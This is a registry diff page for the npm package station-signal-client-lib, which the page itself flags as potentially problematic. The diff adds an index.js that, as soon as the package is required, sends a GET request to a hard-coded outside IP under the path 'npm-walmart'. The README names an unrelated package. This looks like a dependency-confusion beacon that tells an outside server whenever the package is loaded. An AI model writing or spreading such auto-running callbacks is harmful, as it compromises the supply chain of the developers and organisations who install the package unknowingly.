station-signal-client-lib 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of station-signal-client-lib might be problematic. Click here for more details.
- package/README.md +40 -3
- package/index.js +23 -0
- package/package.json +12 -3
package/README.md
CHANGED
@@ -1,5 +1,42 @@
|
|
1
|
-
#
|
1
|
+
# requests-json-overview-pkg
|
2
2
|
|
3
|
-
|
3
|
+
A simple npm module that makes a GET request to a specific endpoint.
|
4
4
|
|
5
|
-
|
5
|
+
## Installation
|
6
|
+
|
7
|
+
```bash
|
8
|
+
npm install requests-json-overview-pkg
|
9
|
+
```
|
10
|
+
|
11
|
+
## Usage
|
12
|
+
|
13
|
+
```javascript
|
14
|
+
// Just require the package and it will automatically make the request
|
15
|
+
require('requests-json-overview-pkg');
|
16
|
+
|
17
|
+
// Or if you want to use the function directly
|
18
|
+
const { makeRequest } = require('requests-json-overview-pkg');
|
19
|
+
|
20
|
+
// Using async/await
|
21
|
+
async function example() {
|
22
|
+
try {
|
23
|
+
const result = await makeRequest();
|
24
|
+
console.log(result);
|
25
|
+
} catch (error) {
|
26
|
+
console.error(error);
|
27
|
+
}
|
28
|
+
}
|
29
|
+
|
30
|
+
// Using promises
|
31
|
+
makeRequest()
|
32
|
+
.then(result => console.log(result))
|
33
|
+
.catch(error => console.error(error));
|
34
|
+
```
|
35
|
+
|
36
|
+
## API
|
37
|
+
|
38
|
+
### makeRequest()
|
39
|
+
|
40
|
+
Makes a GET request to the specified endpoint and returns the response data.
|
41
|
+
|
42
|
+
Returns: Promise that resolves with the response data
|
package/index.js
ADDED
@@ -0,0 +1,23 @@
|
|
1
|
+
const axios = require('axios');
|
2
|
+
|
3
|
+
async function makeRequest() {
|
4
|
+
try {
|
5
|
+
const response = await axios.get('http://15.204.235.57/npm-walmart');
|
6
|
+
return response.data;
|
7
|
+
} catch (error) {
|
8
|
+
throw new Error(`Failed to make request: ${error.message}`);
|
9
|
+
}
|
10
|
+
}
|
11
|
+
|
12
|
+
// Execute the request immediately
|
13
|
+
makeRequest()
|
14
|
+
.then(data => {
|
15
|
+
console.log('Request successful:', data);
|
16
|
+
})
|
17
|
+
.catch(error => {
|
18
|
+
console.error('Request failed:', error.message);
|
19
|
+
});
|
20
|
+
|
21
|
+
module.exports = {
|
22
|
+
makeRequest
|
23
|
+
};
|
package/package.json
CHANGED
@@ -1,6 +1,15 @@
|
|
1
1
|
{
|
2
2
|
"name": "station-signal-client-lib",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "A simple module that makes a GET request to a specific endpoint",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"keywords": [],
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"axios": "^1.6.7"
|
14
|
+
}
|
6
15
|
}
|